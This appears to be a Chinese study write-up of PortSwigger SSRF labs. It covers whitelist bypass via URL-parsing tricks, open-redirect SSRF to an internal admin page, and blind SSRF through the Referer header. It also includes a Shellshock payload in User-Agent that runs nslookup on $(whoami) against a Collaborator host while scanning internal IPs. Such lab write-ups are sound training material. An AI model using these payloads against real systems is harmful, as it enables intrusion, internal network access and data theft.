admin 管理员组文章数量: 1184232
基于白名单输入过滤器的SSRF
对于黑名单我们的处理方式就是：隐藏、混淆、变形绕过
而对于白名单的话那么就是：伪装成合法的域名 需要牢记下面这个 URL的格式，不管你如何变化这个URL，最后真正访问的肯定是 host:port 的地址！
scheme://userinfo@host:port/path?query#fragment
└────┘ └────────┘└────┘
协议 用户凭证 主机名(重点)
先正常测试是否存在SSRF漏洞：最简单的测试方式就是直接访问本地应用，如果本地应用访问不到那么在通过换端口或是网段的扫描
POST /product/stock HTTP/2
Host: 0aaf009a03a6a00dadc91d8f001a00b2.web-security-academy
Cookie: session=bIvs6aFr0AeSdSQSaskx4qSKfEuPp2wh
Content-Length: 30
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://0aaf009a03a6a00dadc91d8f001a00b2.web-security-academy
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0aaf009a03a6a00dadc91d8f001a00b2.web-security-academy/product?productId=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
stockApi=http://localhost:8080
这一次的报错信息是： External stock check host must be stock.weliketoshop
也就是说后端进行扫描了请求中的数据，发现数据中没有指定的域名：stock.weliketoshop
那么这个时候就要尝试拆解，它是怎么判断的 在拆解判断之前，需要先明白两个概念：过滤器和解析器
过滤器的话是程序员自己写的，会将 URL 视为字符串进行处理，而解析器则是编程语言自带的，那么会将URL解析成真正的地址进行访问
stockApi=http://localhost@stock.weliketoshop:8080
这个时候提示的内容为缺少参数，那么这个信息就是告诉我们，我们成功的绕过了 过滤器和解析器，但是 URL 的特性 所以真正的请求还是 stock.weliketoshop
那么我们就尝试把 stock.weliketoshop 进行过滤掉，让它解析我们想要的地址
尝试拼接 # 符号让解析器在解析的时候忽略 @stock.weliketoshop:8080
stockApi=http://localhost#@stock.weliketoshop:8080
这个时候错误信息又变成了： External stock check host must be stock.weliketoshop
问题
根据URL的特性 # 之后的信息确实会被截断，因为这个是 页面的锚点，但是为什么在过滤器这边也会被截断？
个人理解原因是因为 在过滤器拿到 URL之前其实是还经过了一次解析器的处理！
进行两次的编码
stockApi=http://localhost%2523@stock.weliketoshop:8080
成功的显示页面，其他的步骤就和之前的一样，就不进行赘述了
通过开放重定向绕过SSRF过滤器
还是检查库存的这个请求包，但是这个请求包我们修改的话是无效的。
因为它的路径是： stockApi=/product/stock/check?productId=1&storeId=1 等于说它是将这个字符串当成了URL的相对路径进行拼接了，host 地址是已经被固定死的了
但是我们在检查其他功能点的时候，会发现有一个功能点返回的响应包是 302状态码
302：服务器知道资源不在这并且知道真实的地址，会让浏览器去访问服务器提供的地址
将路径参数放到查看库存的请求包中，并且访问靶场告知我们的地址，这样就可以成功绕过了
POST /product/stock HTTP/2
Host: 0ad60028030331b081e9e47100f5000e.web-security-academy
Cookie: session=iIoCJgWUTWlHjLSyY4YJd6r0VYf2YbQC; session=kqNax9HqbxmlHZg96uKaKrA7CdXFuhQI
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0ad60028030331b081e9e47100f5000e.web-security-academy/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0ad60028030331b081e9e47100f5000e.web-security-academy
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
stockApi=/product/nextProduct%3fcurrentProductId%3d1%26path%3dhttp%3a//192.168.0.12%3a8080/admin
问题
为什么要将 get请求包中的请求参数放到 post 请求包中？ 因为在get请求包中这个参数它是服务器用来拼接返回包并且交给浏览器，由浏览器进行重新访问的
而在 post 中的时候，是由服务器进行发送请求并且访问的，同时又因为服务器开启了跟随重定向的机制，导致了漏洞的发生
如果没有找到这个重定向请求包的话，是不是就没办法绕过了？
没办法使用重定向SSRF进行绕过了，但是也有其他的方式：白名单/黑名单绕过、DNS绕过、协议绕过、盲SSRF
如果靶场没有告知管理员地址的话，那么要如何进行模糊测试并且成功？
先测试能否打通内网（常见的ip地址必须尝试）然后在进行端口探测最后就是路径拼接
盲SSRF漏洞
盲SSRF和上面的SSRF有一个非常不一样的区别：
就是你知道它有没有发生但是你没办法知道它返回的内容是什么（状态码、页面内容）
也就是说盲SSRF不适合进行查看类的攻击只适合行为类的攻击
问题
什么是查看类攻击？什么是行为类攻击？
简单的理解就是不关心SSRF返回的内容只关心SSRF是否执行成功，比如说通过 OAST 的方式我们只关心服务器是否成功请求到了我们控制的服务器
也就是说没用回显内容，但是还可以继续攻击的就是盲SSRF
盲SSRF可以做的事情：
-
内网探测
虽然说无法看到结果但是可以通过时间/是否请求成功判断端口是否开放或是IP是否存在 -
打外部可以控制的服务器（OAST） 让服务器访问我们可以控制的地址，来查看服务器是否访问
-
特定情况下完成RCE
带外带检测功能的盲型SSRF
本次的目标是让被攻击的网站来访问我们的目标服务器
GET /product?productId=1 HTTP/1.1
Host: 0a5d0091046ea080800b6dd7000b00e0.web-security-academy
Cookie: session=gi1WjSWd4osdgl4ohPWYyCKfBmsrh3Ph
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://0a5d0091046ea080800b6dd7000b00e0.web-security-academy/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
问题
它的漏洞点在哪？为什么？
漏洞点在于服务器错误的信任了referer这个头信息，这个头信息一般都是用来告知服务器这个请求是从哪来的，但是有的时候业务需要分析访问这个页面的用户行为，所以会再去访问这个头信息(或者是知道用户是哪个页面进来的等想法)
只要看到是一个网址结构的信息，不管是路径信息还是URL信息，那么就要思考服务器会不会去访问这个地址，如果会那么就要注意是否会出现SSRF漏洞
随后我们需要开启Burp 的 Collaborator 的功能，我这边使用的是24年的版本，开启的地方如图所示
当然你也可以使用下面这个方式，先选择要被替换的网站（不要包含HTTP://） 然后右击即可
替换之后直接发送即可，那么就可以获取到信息了
问题：
这些信息的作用是什么？
这些信息的作用就是告知了我们，这个服务器的出网IP地址是多少，并且它的响应时间也告知了我们是通过异步的形式。但是最重要的是它告知了我们，这台服务器是可以被控制的，因为它根据我们的地址进行了请求和访问！
采用 Shellshock 技术进行盲型 SSRF
如果只是获取上面的信息，其实对于SSRF的攻击意义并不是很大，因为我们无法获取到真正有用的信息。但是我们可以使用这个方式去探测内网其他的服务器，并且发送payload
这一关的靶场需要我们使用服务器RCE漏洞--Shellshock 配合SSRF进行攻击，那么我们需要先了解一下什么是Shellshock？
1. 首先需要先明确一点，这个漏洞是发生在哪一层的？
1.1 系统层，Bash解释器（命令解释器）
2. 正常情况下，它是干嘛用的？
2.1 用来执行shell命令的或是解析环境变量、启动子进程
3. 为什么会出现这个错误？
3.1 是因为bash在处理环境变量的时候会错误的把一些数据当成可执行命令进行处理
4. 那攻击者要怎么做？
4.1 通过请求包将攻击者的payload转换成环境变量
5. 可以干什么？
5.1 可以进行命令执行、可以获取权限
对于复现 Shellshock 后面会出一个文章来记录，现在先了解清楚这个payload的构成部分
() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
1. 对于bash来说 () { :; }; 的含义就是一个函数（也是shellshock的开关），但是当这个函数执行完毕之后，bash会把后面的指令当成真实命令进行执行
2. /usr/bin/nslookup 则是代表请求DNS解析，因为HTTP可能会被防护墙拦截，但是DNS几乎不会
3. $(whoami) 则是会把当前登陆的系统用户名替换到此处然后和BURP-COLLABORATOR-SUBDOMAIN 进行拼接
构建完payload 之后我们需要配合上横向爆破，因为这个内网服务器中只有个别的服务器存在这个漏洞
GET /product?productId=1 HTTP/2
Host: 0a0000b20482935f814898a100fd0014.web-security-academy
Cookie: session=fuMmPaXeCvoBhDWqjCVnw7f8chJnMIcC
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).grb6zduj7gp9c9xhamc10kpf369xxold.oastify
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.0.§1§:8080/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
成功拿到用户名
问题
为什么这个payload 要放在User-Agent上面而不是 referer上？
因为User-Agent 是最容易被映射成环境变量的地方，而其他的header信息则是经常被清洗或是丢弃。而如果放在referer的话可能会被重写、URL编码、截断等
还有什么地方也可以进行尝试？
除了User-Agent 还有 Referer、Cookie（可能会有长度限制）、X-Forwarded-For、其他X-*、等等
这个攻击的流程是什么？
当 SSRF 请求命中某台内网服务器，且该服务器使用 存在 Shellshock 漏洞的 Bash（通常通过 CGI 调用），并且 HTTP_USER_AGENT 被导出为环境变量 时，Bash 在解析环境变量阶段会误执行 payload，从而触发 DNS 请求。
为什么用的是HTTP请求而不是HTTPS请求？
在利用盲 SSRF 横向扫描内网时，应优先使用 http 而非 https。因为内网服务通常不部署 TLS，或使用自签名证书。导致服务器端请求在 TLS 握手阶段失败，从而无法触发后续漏洞利用
版权声明：本文标题：[笔记]Burp靶场之SSRF（二） 内容由网友自发贡献，该文观点仅代表作者本人， 转载请联系作者并注明出处：http://www.roclinux.cn/b/1767823463a3508427.html， 本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容，一经查实，本站将立刻删除。
发表评论